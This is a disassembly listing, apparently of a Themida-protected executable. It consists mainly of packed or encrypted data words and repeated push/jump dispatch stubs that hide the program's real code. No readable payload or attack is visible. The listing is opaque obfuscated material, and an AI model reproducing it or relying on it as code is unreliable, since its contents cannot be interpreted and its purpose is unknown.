		dd 0F94A0CA2h, 32F6B5B2h, 0C87EC367h, 0FEB7C98Ah, 1B5FA9h
		dd 0B6ED0000h, 0E1DEFAB9h, 5B69B0A3h, 65ACFDBBh, 1AE5A968h
		dd 0A91A9D76h, 0B80D44D8h, 0FAB9B64Ah, 7A918C2Bh, 69B05EB9h
		dd 0FC77F25Bh, 0BCD429E0h, 77467BBDh, 7DD867B6h, 0D9A82361h
		dd 0AA736B0Ah, 0FEBDBA55h, 789F602Fh, 0D8A28268h, 0AD48085Dh
		dd 0D6D5F1B0h, 7A433B62h, 68AFEAABh, 0A823A282h, 0DD9D5E2Dh
		dd 7B98960Fh, 95923100h, 7A7712D6h, 98A09FBBh, 17995A29h
		dd 0A992A06Fh, 0C6C5D82Eh, 0C11D3CAEh, 47137h, 0E1ACA300h
		dd 0C586821Dh, 0A86B6601h, 8A4F49E4h, 6A332BC6h, 9CC97BA6h
		dd 7C17DBA4h, 5DF8BC83h, 43DEA25Fh, 77C38746h, 82ACEBACh
		dd 0BB245D7Dh, 0FAB9B60Dh, 0D3C76B36h, 28E7E40Fh, 70B1550Ch
		dd 0B550A507h, 14DDD5B8h, 0A5A27D99h, 57D5CAE6h, 3C2BF06h
		dd 0D8999534h, 0F0B005BCh, 0F5C6896Eh, 379DAFh,	922F0000h
		dd 8B4C1BA6h, 6177FE39h, 0EAD7CF7h, 0D28F5310h,	0A29802B5h
		dd 0B5793835h, 21361C1Ah, 0F7A32D75h, 7B3E39D8h, 35D9E400h
		dd 0FB3E7B32h, 91DB30EEh, 3D6h,	0F6B7861Fh, 5B69B093h
		dd 0A05FB42Fh, 995A2998h, 6177B803h, 1B2642BDh,	0C92DBD77h
		dd 4BA0696Bh, 0D8F4B3B0h, 244001FDh, 0EC8B4E49h, 790F2BF4h
		dd 0E94366B7h, 0CD6BD627h, 58B8DFA0h, 9D18A298h, 0A925322h
		dd 0B6988650h, 0D0CD6C3Bh, 0E93EF511h, 0CFCE6A29h, 0CA9914D1h
		dd 9458F309h, 8E862592h, 0DD9EA9C5h, 0B6BC68BAh, 81209B16h
		dd 0F3AAC683h, 4460DB9Eh, 8CA87169h, 0D8F4B5B1h, 688D0CCDh
		dd 0CA45B6BCh, 4E47322Bh, 39B46B87h, 82D3511Dh,	68CF4A0Bh
		dd 883B6BCh, 0BE626D8Dh, 0E0D0C5C4h, 42C0156Dh,	0FB286F1h
		dd 55657F40h, 28A38CA2h, 0FAC1BA59h, 479C615Bh,	30EFEC87h
		dd 7D3C3914h, 554FEEB9h, 551C7B3Ch, 39B4BCAEh, 96EBA2BEh
		dd 3E3C61D7h, 552D6C2Dh, 2AA5BCAEh, 61DC93AFh, 5BD3D192h
		dd 72ED86B0h, 673A5956h, 0F0B2BAD0h, 7186719Fh,	32A0CE3Ch
		dd 32000000h, 4C1BA692h, 77BFCD8Bh, 625CFB61h, 4102FE9Dh
		dd 92AE29ECh, 98407695h, 0DB2CEEA2h, 45C4AADh, 125DCB6h
		dd 42110000h, 98540681h, 0EA3FBAA2h, 0A6B9B67Ch, 0B0F316D7h
		dd 0D44F5B69h, 69B0F413h, 56D14C5Bh, 93902F3Ah,	0AC01B8D4h
		dd 34501911h, 7B795C59h, 70EBA2BEh, 420902A1h, 21A6F26h
		dd 0A76B2A27h, 55433DDCh, 93BE74B2h, 314DC8E5h,	0A68257Ah
		dd 0B25B69D1h, 0FFB43FE3h, 58A823C0h, 69977097h, 55D05Bh
		dd 0E5A96865h, 728E4D4Ah, 7D0C867h, 7C45F3B2h, 4D160EADh
		dd 0EC6C2DF8h, 0E46177E2h, 2B777115h, 0CF139A83h, 9B228B0Eh
		dd 0AF766FA2h, 9A15DC93h, 1F3B02FBh, 5E29ED68h,	224BCE8Fh
		dd 8C07A29Bh, 1C07837h,	0CB257132h, 60DB9888h, 32F3C291h
		dd 0A88859D7h, 9BF06Bh,	0A1703F08h, 8859B9E0h, 854441A8h
		dd 658F1ABEh, 0B934849Bh, 8E29E93Eh, 7277CD96h,	0B22286F4h
		dd 1D4CC56h, 49400000h,	231FBA7Eh, 8039E62h, 0ECE68145h
		dd 0D0C86327h, 0AC184307h, 0B4784139h, 95592019h, 7B3FFCFAh
		dd 6024E3E0h, 1884914h,	0C15D7D85h, 0BEB6AA58h,	0C76631F5h
		dd 33EA06CFh, 634643DEh, 0CF86A26Bh, 92229054h,	8B4C1BA6h
		dd 6177BFCDh, 6F6C8803h, 0A298402Ch, 87B506C8h,	0B6045C70h
		dd 9EB6h, 0B9B64800h, 0B03DEFAh, 0C5292642h, 0A35B69B5h
		dd 8823E7A6h, 0A5B0CC8Bh, 0FC09F001h, 95E4029h,	4D3EE4Ah
		dd 0F157435h, 32ADA496h, 0F75112DDh, 0C99E887Ah, 6DCB8A4Eh
		dd 0D5C48554h, 8D988BFCh, 0ACA44312h, 0B0541FE3h, 5704E5F8h
		dd 9C378CD5h, 6A85DBA4h, 0B6228613h, 114D05Ah, 9000000h
		dd 0E3DF7A3Eh, 0C8C35E22h, 0ACA64105h, 908823E7h, 6CD803C7h
		dd 743801F9h, 5519E0D9h, 3BFFBCBAh, 20E4A3A0h, 0C14809D4h
		dd 815D7D86h, 0BEB66A18h, 999631F5h, 0DAF6BDB6h, 0C94401FFh
		dd 0B61C8A4Eh, 18DBD6B9h, 0AECA45FCh, 0F5F3D6D3h, 4FEEBD38h
		dd 7E3E9352h, 794879BFh, 9B098FD5h, 9BF0C0BBh, 666201D0h
		dd 47C28781h, 976935F2h, 9C17617Dh, 95A8A580h, 85A9B5D4h
		dd 0EE920DA2h, 0A8C759BBh, 9362DDC1h, 5EE752EFh, 9CF1A4BCh
		dd 5C4441DCh, 39F21DE6h, 0D7F36E64h, 0B59AF6DAh, 2475375Fh
		dd 5D21E0DDh, 0EA06C5C2h, 3BFC150Fh, 0F594AADCh, 625AF974h
		dd 0A6021E99h, 8C0BCC9Bh, 6CF594AAh, 49E8AF70h,	0B56C8851h
		dd 6FAA6B3Ah, 0E3F594AAh, 44951368h, 427629CDh,	1ECBE982h
		dd 0FB0B8E4Fh, 4CC7F594h, 775F5CF7h, 0DA87C37Bh, 0D0940F2Fh
		dd 0A86B6605h, 4506D58Ch, 0F5941FC2h, 13AE037Eh, 4132E16h
		dd 0B10C7C1Fh, 3901A36h, 1E000000h, 0BFB68133h,	0FDD8F4h
		dd 4C4A2541h, 9F98738Fh, 0E9E1BCD8h, 31290420h,	77714C68h
		dd 0C0BB96B2h, 0A06E1FDh, 57692D49h, 0C781E789h, 4, 4EF81h
		dd 3C870000h, 1C895C24h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 51240C89h, 0C181E189h,	4, 4E981h, 0C870000h
		dd 14895C24h, 0BF575024h, 9D54D2Eh, 473BCF81h, 0E7C102BDh
		dd 0D7F74F07h, 0A804C781h, 0F889590Fh, 30FBB95Fh
		dd 0C129607Ch, 10E56858h, 24890000h, 24048324h,	56535A04h
		dd 0F389CE89h, 85A895Eh, 24148B5Bh, 81E68956h, 4C6h, 4C68300h
		dd 5C243487h, 592434FFh, 0E904C483h, 0FFFA4680h, 83B80761h
		dd 3061437h, 50E0FFC5h,	2B64AA51h, 0FA068402h, 0FB55F820h
		dd 95545D1Ch, 0D423F8DFh, 8B7F9C0Ch, 0C32539BEh, 5227E539h
		dd 0F47510F0h, 0C220321Bh, 34A9D57h, 2D6DA23Ch,	2401584Fh
		dd 67171484h, 4E050A42h, 0B115DD40h, 34687BD2h,	0B107FA98h
		dd 225C80E4h, 0DC5D6C8Eh, 7B449583h, 716C2736h,	0F623E5BBh
		dd 0CA0B5A1Ah, 0E9285391h, 190h, 1CED54B6h, 1AD52C27h
		dd 46B198D3h, 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h,	0FCA3FB6Dh
		dd 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h,	9CACA3F4h
		dd 9EB9FCh, 0AFC945D2h,	0FC00EE73h, 9CBA9755h, 0A4E56D59h
		dd 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h
		dd 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0)
		dd 6D849700h, 69F033A2h, 0EEh, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5ADFE3
; ---------------------------------------------------------------------------
		push	6143C02h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6143D0Dh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6143E4Ah
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6143EF0h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6144010h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61440D4h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61441A3h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6144235h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614431Ah
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61443A8h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6144473h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6144539h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61445CBh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6144721h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614481Dh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0AE3D9EAAh, 94238492h, 7E0D6E7Ch, 6AF95A68h,	0FFE44551h
		dd 48546D7Dh, 303E58E7h, 192540CFh, 0C29B8h, 8564919Fh
		dd 8F63EC19h, 65CEF7C0h, 63EC1886h, 299BC18Fh, 0D9E50299h
		dd 0B8C4DD6Ch, 0C04F7C46h, 4B5770A5h, 7BED5781h, 5EBFCBE8h
		dd 0B21F5287h, 8634E8D3h, 3B052B9Bh, 6A190298h,	0F1450B8Fh
		dd 19A811h, 188D11F4h, 264C8F6Ah, 0C1B126B4h, 2ED33918h
		dd 0A6000000h, 26F0FC17h, 0BAFA8AFCh, 52E14E85h, 345E2836h
		dd 0E97655C2h, 729B8635h, 0BBDF824Ch, 528F6A16h, 0C237AA8Ch
		dd 0E63918C7h, 0E4h, 0D9E50296h, 97A3BC0Fh, 515D7ACDh
		dd 0CFEC7BE4h, 0ECCFF9C3h, 957826B2h, 0C58F0127h, 6205572h
		dd 9A042EF8h, 79859E2Dh, 0A5C7A607h, 695782Bh, 0ED7CDDE9h
		dd 0C857C4D0h, 87DAA4B2h, 86F8626Eh, 452C21BCh,	504B1658h
		dd 712D0CBFh, 68957772h, 8C6BD842h, 95777212h, 0CA37A1C7h
		dd 85904CEBh, 0B796BF9Bh, 8F6955E7h, 162CCF2h, 4E502F98h
		dd 8B8F6955h, 2318F365h, 0A26443B0h, 79579FDh, 0CCE574E1h
		dd 0A56F7D97h, 21B0117Bh, 2226FC08h, 1CB2E527h,	0D140256h
		dd 0ED040000h, 0D5F180E1h, 0BFD766C7h, 0ABC150B1h, 94AD3C9Dh
		dd 0C0422788h, 2A8B97B0h, 1273819Bh, 0FB5C6883h, 0E2434F6Ch
		dd 0D6C8A7D4h, 38F63EAh, 0E902EE3Ah, 0D0ED7CDDh, 0FEE57C4h
		dd 9578268Fh, 51B2244Ah, 334159E8h, 3DCD3F69h, 0E14E85BAh
		dd 6E300F78h, 6B957826h, 28F2001Ch, 3F2294FEh, 9B863620h
		dd 19A8153Bh, 0FE28F2FEh, 7B1FC28Ch, 8C8F6A16h,	489B6571h
		dd 0A15A2432h, 1DAA5BDBh, 8D02DF57h, 0AF3918C7h, 0BAh
		dd 0D9E5025Fh, 9A79E20Fh, 95782704h, 1AE3F10Bh,	0D6EF82F4h
		dd 65F45DCAh, 46583B49h, 93957826h, 8E31FB6Dh, 95782ADEh
		dd 37A4B0CDh, 21AFEFCEh, 0DB2A9578h, 0DA4CB6C2h, 0C1CDEA79h
		dd 0EC675CF7h, 7187167Fh, 290EF163h, 0E29B863Fh, 4F845BBCh
		dd 0FE18A714h, 32117EF0h, 957AA8C3h, 0A2319EC4h, 0B31C7D89h
		dd 5E336B4Ah, 80A68959h, 0FBC5D3EDh, 0B3CC5FD1h, 74E3D1A7h
		dd 0F7BDB2E4h, 0C09A3h,	0ECF80F00h, 0D2E0FC8Bh,	0BCCAE271h
		dd 0A8B6CC5Bh, 939FB847h, 0BBCB4D32h, 0A63596A2h, 8E1D7E8Ch
		dd 77066773h, 0DFED4E5Ah, 0E9CBD3B2h, 450E8F63h, 0DDE902F9h
		dd 0C4D0ED7Ch, 0E502D763h, 218B97B0h, 0DBE70457h, 0AAEA37Ah
		dd 0A77E1EDh, 8633E82Bh, 0EBB5DB9Bh, 6A185248h,	8D9BB58Fh
		dd 495570C3h, 30F2C7Fh,	1B250F39h, 975DEA1Bh, 0C5CD429Fh
		dd 78EF3918h, 9F000000h, 0E14E85BAh, 8635E502h,	9660869Bh
		dd 6A17A7F3h, 3B47608Fh, 0F9051E71h, 74C2CC2Fh,	4CDB0491h
		dd 0A7B1232Fh, 0C2DD528Fh, 48FF3918h, 0D2000000h, 0EAE3F7FCh
		dd 0F76951C8h, 4B85BA67h, 7826326Ch, 1781A795h,	364CCBAAh
		dd 597F9B86h, 17AEEC8Fh, 3D598F6Ah, 0F612652Fh,	179806E5h
		dd 1B418F6Ah, 333DE7B1h, 0B1BFD903h, 42F4BA47h,	18C62A9Fh
		dd 74E39h, 1FE0000h, 7FBh, 4E85BAB5h, 60A102E1h, 1C429B8Ch
		dd 0F70320AFh, 0DEEA0796h, 0D447914h, 2571C1A0h, 6A909578h
		dd 45516EFDh, 33127BE4h, 894FB46Bh, 43D6486Eh, 0B5501A26h
		dd 5E45180h, 8F5DE3C2h,	756D4369h, 4FB8FC4Eh, 0ACC3589h
		dd 354C0000h, 1D39C829h, 71FAE0Fh, 0F30998F9h, 0DCF584E5h
		dd 88A6FD0h, 72D3DFF8h,	5ABBC9E3h, 43A4B0CBh, 2A8B97B4h
		dd 8E10EF1Ch, 4B8F63E8h, 0E8B23682h, 0D7957827h, 99026FE2h
		dd 1EE0BBC3h, 0EB5D30CCh, 8C398B08h, 0EA05949Bh, 78EA14DEh
		dd 512889AFh, 9978E51Ch, 95780102h, 0D53EABD1h,	0AA1C2A46h
		dd 8DEEFA17h, 68D5E1FEh, 0E8B2BED9h, 0E7824CBEh, 33127FF2h
		dd 8F63C707h, 97A5BB0Ah, 0CC39A3CDh, 0B314203Dh, 31FB0724h
		dd 3B550E8Eh, 5180B503h, 77B205E4h, 33590949h, 10A03B5Dh
		dd 1B6F353Fh, 0A26h, 6ECFDBF2h,	54B5C3DFh, 3E9FADC5h, 2A8B99AFh
		dd 1576829Bh, 859EAE30h, 6F891879h, 56710061h, 3D5AE94Ah
		dd 95C2D031h, 63E8E8B6h, 0DC28F18Fh, 0E14E85BAh, 8C5F9102h
		dd 0C9E3329Bh, 55E451BBh, 30BF2C38h, 16400A18h,	0E95B6983h
		dd 76901F88h, 5C0B6DF8h, 0CB35EED4h, 0D265D701h, 0B2DFA9B5h
		dd 8BFD0B23h, 6645BBB0h, 8F641238h, 0A4117BA1h,	784BDAC5h
		dd 6EDB0195h, 49B6C2DFh, 906BB173h, 9C0E7ADBh, 838FAC3Bh
		dd 0BA291EB9h, 0CDF46E4Dh, 476D8F63h, 222E4BDAh, 61532C1h
		dd 70536177h, 833B5C2Eh, 511B85ABh, 6C789524h, 5C8317FAh
		dd 1BAA833Bh, 0D629F301h, 0BDE7B1BDh, 0D106E153h, 63CC35A2h
		dd 3B5C1A84h, 2799BF83h, 4F951344h, 0D1E93889h,	83EC59C3h
		dd 8C5229ADh, 183588FBh, 9D30A20Ch, 84137480h, 0D193267h
		dd 0A4DDC1A0h, 0D6FC7D26h, 0D207A26Ch, 4853329Fh, 8B833ADDh
		dd 0CB009B65h, 33C22B98h, 153F0917h, 7617C0A3h,	0E347D20h
		dd 39722C38h, 0EC4006CBh, 906h,	8EEFFB12h, 74D5E3FFh, 5EBFCDE5h
		dd 4AABB9CFh, 3596A2BBh, 0A5BECE50h, 8FA93899h,	76912081h
		dd 5D7A096Ah, 0B5E2F051h, 63E6C8D6h, 0FC48118Fh, 0FD9E502h
		dd 0C9939FBCh, 0E3F93D07h, 0CF59BAC6h, 330AB75Ah, 77Eh
		dd 0A012E00h, 0B5000005h, 417647B9h, 0E5C6A512h, 0E9B8655h
		dd 0CB2504E8h, 0E6275C8h, 0E95B697Fh, 0C8A7D90Eh, 0BC5E26D6h
		dd 261E805Fh, 95BBBC5Eh, 0CF3CA6CCh, 0D9EF2640h, 82EF61CBh
		dd 85C14319h, 0F1B51820h, 0D53B9C7Fh, 0EA10C26Bh, 21508520h
		dd 2C39D5B4h, 5A80BC61h, 0D9F584EDh, 122038CBh,	19AC1E48h
		dd 9FADC7FCh, 7EE8F60Ch, 65718E1Dh, 0FF86798Fh,	398D538Bh
		dd 842h, 52B3BFD6h, 3899A7C3h, 228391A9h, 0E6F7D93h, 0F95A667Fh
		dd 69829214h, 536DFC5Dh, 3A55E445h, 213ECD2Eh, 79A6B415h
		dd 63E7049Ah, 0C00CD58Fh, 6CD9E502h, 267A2403h,	395F9578h
		dd 26B1EDCCh, 2289578h,	5A73C690h, 9978E14Eh, 95782705h
		dd 0DB3CAED4h, 526BCF04h, 263A6443h, 799F9578h,	0D9F2450Fh
		dd 6FD903CDh, 0F0099805h, 7EF01AE4h, 5F373211h,	0F389B8Ch
		dd 63ED6E30h, 0DB456B8Fh, 0B6C2DF6Eh, 74A9C655h, 0FF0D235Ah
		dd 0D7A10B35h, 955F6B84h, 0CD97016Bh, 59C63D32h, 0F6A887F0h
		dd 0E38F63EDh, 37684BBDh, 0A4957826h, 6582117Eh, 3C061430h
		dd 0B847A812h, 72C58F9Bh, 0FE0C2459h, 0CAA00A34h, 0B2EE1E8Ah
		dd 736ABE84h, 0A5000007h, 9221828Eh, 78076876h,	62F15260h
		dd 4EDD3E4Ch, 0E3C82935h, 2C385161h, 14223CCBh,	0FD0924B3h
		dd 0E4F00D9Ch, 69487583h, 8F63E535h, 0BA8FDBA4h, 78E14E85h
		dd 0FAC4D0E9h, 247B5ED0h, 0B79B8C5Fh, 78952491h, 0B0BEDA69h
		dd 63EDD1CDh, 1E72088Fh, 0CFA1F4Dh, 0D839A30Dh,	0A5B02C49h
		dd 0D1F814CCh, 0ED475736h, 6C928F63h, 33CE9802h, 7756C33Eh
		dd 957209B4h, 6737163Fh, 618955D0h, 1091DDAEh, 648A539Dh
		dd 3EDA24FAh, 0ED4B2E8h, 6E1BAh, 14203700h, 0FA0824B3h
		dd 0E4F20A99h, 0D0DEF483h, 0BBC7E06Fh, 0E3F3755Ah, 0CE5DBECAh
		dd 0B645A6B4h, 9F2E8F9Bh, 7157682h, 0E4A3FBDAh,	6D368F63h
		dd 0E9BF2821h, 940EEA1Bh, 0ACF2D5FEh, 2D957822h, 0E5029507h
		dd 0C4DD6CD9h, 31C4EEB8h, 0CF990B19h, 89535F7Ch, 0A339FDC7h
		dd 370D7A86h, 535A045Fh, 0E344B6DBh, 0AEAE459h,	70833h
		dd 1B80000h, 2C1h, 0D9E502B5h, 47F740Fh, 60E7B897h, 0A5F49B8Ch
		dd 0A5127C88h, 0EEDFE16h
		dd 8F63EC90h, 0EFB92349h, 63F253C5h, 1D703A46h,	0C097F804h
		dd 5CEB588Bh, 56C33541h, 78250777h, 2B439295h, 65718A1Dh
		dd 9A07719Bh, 81E2EE0Bh, 0FFC9D5F2h, 415E93ACh,	0CF5ECB35h
		dd 0FA16A9B7h, 15B07AECh, 6544B120h, 8F5DC306h,	3D71476Dh
		dd 17B8FC30h, 5FCFD51h,	51C0000h, 0ED0998F9h, 0D7EF7EDFh
		dd 0C3D968C9h, 0ACC554B5h, 0D85A3FA0h, 42A3AFC8h, 2A8B99B3h
		dd 1374809Bh, 0FA5B6784h, 0BEE0BFECh, 1B8F63E3h, 0E5020652h
		dd 0C3DD6CD9h, 4FC1EBB5h, 0E0153285h, 8852BCCAh, 450F1D35h
		dd 3CDD9F2h, 65A096A0h,	3F9D9963h, 40A91622h, 78263D61h
		dd 374D9C95h, 0CB355F29h, 0F96EF859h, 1B330AB2h, 11h, 0E0BF28CBh
		dd 957826BEh, 0EF83F51Bh, 156h,	0D9E502A3h, 0C5ADA503h
		dd 85D99FA6h, 56Eh, 268793AAh, 0C6D7B97h, 0F657657Dh, 0E2435167h
		dd 0CD2E3A53h, 3D5666E8h, 2741D031h, 0E29B819h,	0F512A102h
		dd 4D7A88E9h, 63E3306Eh, 94E0A98Fh, 0FD9E502h, 2D3B53E2h
		dd 0FF0B28BBh, 8DA97335h, 0B926324Fh, 6F9DF9E3h, 517B4553h
		dd 608DF977h, 8E038DEEh, 0B2330B6Ah, 29h, 0E40162h, 49D80000h
		dd 0D5B4212Fh, 957826C9h, 0E878EA10h, 0D101h, 2F49D800h
		dd 67D1DDF8h, 116B268Dh, 0CA3CD5E9h, 4B85BA3Ah,	7826326Ch
		dd 1781A795h, 60D4CBAAh, 0E1079B8Ch, 0C1CFE574h, 915BCDF7h
		dd 821CFB64h, 578F63ECh, 15DFEB08h, 340F81EBh, 75839B3Fh
		dd 0AA1781ABh, 720480CBh, 0B78DB395h, 0B2E7FE4Fh, 0A32F8349h
		dd 75000004h, 62F1525Eh, 48D73846h, 32C12230h, 1EAD0E1Ch
		dd 0B398F905h, 0FC082131h, 0E4F20C9Bh, 0CDD9F483h, 0B4C0DD6Ch
		dd 39184553h, 8F63E265h, 0BA5FAB74h, 2E14E85h, 9B867469h
		dd 0E877E40Ah, 8261C2D0h, 8F69D819h, 829ED3F0h,	9E7DAA74h
		dd 8F69D900h, 0DC49B3D9h, 69D8A1FDh, 0A812388Fh, 374FDE47h
		dd 0C3355F29h, 400A1830h, 376E8413h, 19430D1Bh,	49BBE5AFh
		dd 429B5h, 85BA6900h, 0E978E14Eh, 0CCF6C0CCh, 9F111F39h
		dd 8C60E3BCh, 0A8C5549Bh, 3B612A9Ch, 72E1D671h,	4F5B7605h
		dd 7CE95B85h, 7204AE9Dh, 9978E195h, 8955D605h, 0D54D5130h
		dd 668C8955h, 3C05779Dh, 0FEEE4016h, 2C8B2E7h, 3DDAEh
		dd 18243B00h, 0FE0C28B7h, 0E8F60E9Dh, 0D4E2F887h, 0BFCBE473h
		dd 0E7F7795Eh, 0D261C2CEh, 0BA49AAB8h, 0A332939Fh, 0B197A86h
		dd 0E19FFFDEh, 713A8F63h, 4E85BA25h, 59978E1h, 0D4957827h
		dd 0F0CF3CAEh, 9B8C60B3h, 0E9D0A30h, 572E4F2h, 0EC4D5976h
		dd 0CAD8F483h, 9CA8C558h, 0CF0237D2h, 24AF8362h, 2C529578h
		dd 71330BFh, 0EEFA17A6h, 0AF8EF724h, 894FB3EFh,	7752C4EAh
		dd 0C3A20F42h, 8F5DE304h, 0AEBCD827h, 7A50BAE4h, 0B8FC4FFEh
		dd 4BDE32F8h, 0CD000003h, 0BA49AAB6h, 0A02F909Eh, 8A197A88h
		dd 76056674h, 0BF0515Dh, 54607989h, 3C4A64F3h, 25314CDBh
		dd 0C1835C4h, 91709DABh, 8F63E10Dh, 2B703CCh, 966CD9E5h
		dd 0DE0E4A5h, 602A9C80h, 83E4F00Dh, 0CF3CB7ACh,	0AFBED766h
		dd 778FCED0h, 7BE50B95h, 0DAF487B1h, 44775ACCh,	2B9B859Dh
		dd 8D359A55h, 3311E026h, 0F09E0625h, 622B9D07h,	0CBCF723Ch
		dd 428F6A10h, 0B227BA7Ch, 0D63918C9h, 32h, 4E85BA86h, 365D02E1h
		dd 0D8FE9B86h, 7B23026Bh, 5E8F6A16h, 16485635h,	6B918F6Ah
		dd 22C58F01h, 8F6A1678h, 7A67CF95h, 3918C705h, 0F127h
		dd 9928D700h, 6AFD6F7Dh, 6BD4414Dh, 267B2302h, 385E9578h
		dd 78264955h, 0F86A9095h, 0B6C2DB2Eh, 1830BFECh, 26762807h
		dd 3D639578h, 0B1CE61D3h, 26DBC3A2h, 0D8FE9578h, 3451A46Eh
		dd 84E8C728h, 2795782Bh, 0BB91FE0Ah, 9B642A75h,	1B7CEE17h
		dd 99636F8Ch, 7A24036Ch, 5F9577EAh, 0B1EDCC39h,	289577EAh
		dd 80B59002h, 5A05E451h, 19B8600h, 0AEA37ADBh, 86E7C633h
		dd 0F1957A7Dh, 9A798AA2h, 89592C04h, 7B45AFD5h,	0EB7AE751h
		dd 0FC65C6D2h, 7D47556Dh, 354EE153h, 0A8CD5329h, 1C7B2E4h
		dd 1F5ADh, 0C2300h, 0E6F4109Fh,	0D0DEF685h, 0BCCAE06Fh
		dd 0A7B3CC5Bh, 0CFDF6146h, 0BA49AAB6h, 0A23192A0h, 8B1A7B87h
		dd 0F301626Eh, 0DFB7E7C6h, 59228F63h, 0DDE9020Dh, 76280770h
		dd 63957826h, 0DB6ACB3Dh, 0E851B2BEh, 26FEA07Fh, 0B5DB9578h
		dd 85BAB343h, 5D02E14Eh, 5A9B8636h, 168C12F1h, 274D8F6Ah
		dd 829DECB5h, 1882AC76h, 16EFAB4Eh, 581E8F6Ah, 0C78E03DEh
		dd 0CCB23918h, 85000000h, 0CAD3EFAFh, 0D547E9E6h, 0D9E50245h
		dd 97A3BC0Fh, 76829B2Ah, 461082ACh, 616D8A19h, 2B600CEFh
		dd 2E4B9578h, 0E0DFB522h, 7AD6D74Fh, 0DF6ECF41h, 51ECB6C2h
		dd 9B03E21Ch, 3E95772Eh, 6241AE18h, 9B8543FDh, 0D7385Eh
		dd 21566FCBh, 832FC08h,	6B81D49Eh, 0FF69935Dh, 0C5492895h
		dd 509579BDh, 2A9CA8C1h, 0CFE3CB61h, 0D3FE32D6h, 546DFC69h
		dd 3F58E748h, 0B1ED5D33h, 1C7B2E4h, 0F9ADh, 0FC081F00h
		dd 0E2F00C9Bh, 0CCDAF281h, 0B8C6DC6Bh, 0A3AFC857h, 0CBDB5D42h
		dd 0B645A6B2h, 9E2D8E9Ch, 87167783h, 0EFFD5E6Ah, 0DEBBE3C2h
		dd 551E8F63h, 83992809h, 0F81AB75h, 0EA57637Ch,	0C537455Bh
		dd 0ACB8D564h, 3853E24Bh, 22ABA2Ch, 0BC0FD9E5h,	0D995239Fh
		dd 50C9271h, 0A7CD9578h, 0F1D74FCDh, 0D701CBD9h, 796036Dh
		dd 0EE18E2EEh, 0F441B7Ch, 0A7ACF2D1h, 72D9577h,	0DD51309Dh
		dd 789B8BDFh, 0FBC5D3E9h, 70965FD1h, 2A3653A6h,	111D3AC9h
		dd 8C40A447h, 415BAA5Ch, 0FC166933h, 707A24EEh,	1D463FC6h
		dd 8665768Eh, 746A5118h, 67319BC1h, 75C1CB3Dh, 0D13E4A67h
		dd 7E20FF68h, 5B746A51h, 514C5235h, 678D746Ah, 3AACBAD4h
		dd 212D4AD9h, 326C4BB4h, 0DD746A51h, 0C9EFB8C4h, 243A8D57h
		dd 98A24C16h, 0EC213E9Eh, 0CFF9C3CFh, 58750465h, 32E824Ch
		dd 0E2000000h, 0EB0228B4h, 0A5C215DFh, 617CCF99h, 1E388B55h
		dd 0DAF34610h, 98B104CEh, 596FC28Ch, 162E814Bh,	0CFEB3E08h
		dd 8197F7C1h, 4ECh, 24248900h, 4B850h, 44010000h, 51580424h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	8950240Ch, 405E0h
		dd 0E8830000h, 24048704h, 2404895Ch, 5A92BF57h,	0BA524731h
		dd 62A244C7h, 0C15AD701h, 0F78102EFh, 1EC3175Ah, 0CA33F781h
		dd 0F98932A3h, 6671685Fh, 24890000h, 24048124h,	4, 0B9515158h
		dd 52C066EBh, 4244C29h,	8408F59h, 0EB084081h, 0FF52C066h
		dd 83582434h, 0C8B04C4h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 1DEE95Ch,	555AFFFBh, 805A23F5h, 0DAA6F02Fh
		db 0E4h, 2Ch, 0D9h
; ---------------------------------------------------------------------------


loc_5ADFE3:				; CODE XREF: Themida_:005AD020j
		mov	eax, 614493Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 7F7802EDh, 4C9B8767h, 6410EFE1h, 4AD18D8Dh, 8E90614h
		dd 67000000h, 6BAB2107h, 896B377Ch, 0E2FC58Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 1D8745BDh, 12E9FAh, 79DA0000h, 427D973h, 0AD7873C2h
		dd 98A0E8EDh, 0D16D4F9Fh, 0B6F7B866h, 88185C7h,	66E0060Eh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0F33985C3h, 0BB47026Fh, 0F88A2D1Bh, 50C78166h
		dd 0D985C797h, 60E28h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 80B0C351h
		dd 0B92382A5h, 8BE4E3A2h, 0CDB5FFFEh, 8B060E0Dh, 0E1D25B5h
		dd 0B995FF06h, 57060E09h, 6A58F9h, 0F4595FFh, 0C08B060Eh
		dd 91510EEBh, 9BB0EB81h, 0C411CCF6h, 0ECA69A49h, 4BD58D8Dh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F513E8C3h, 8D891AF1h, 60E2FC5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ACC35545h, 6FB4F653h
		dd 7BE89E3Dh, 8185C7FDh, 0FC060E08h, 6A00005Dh,	3E85300h
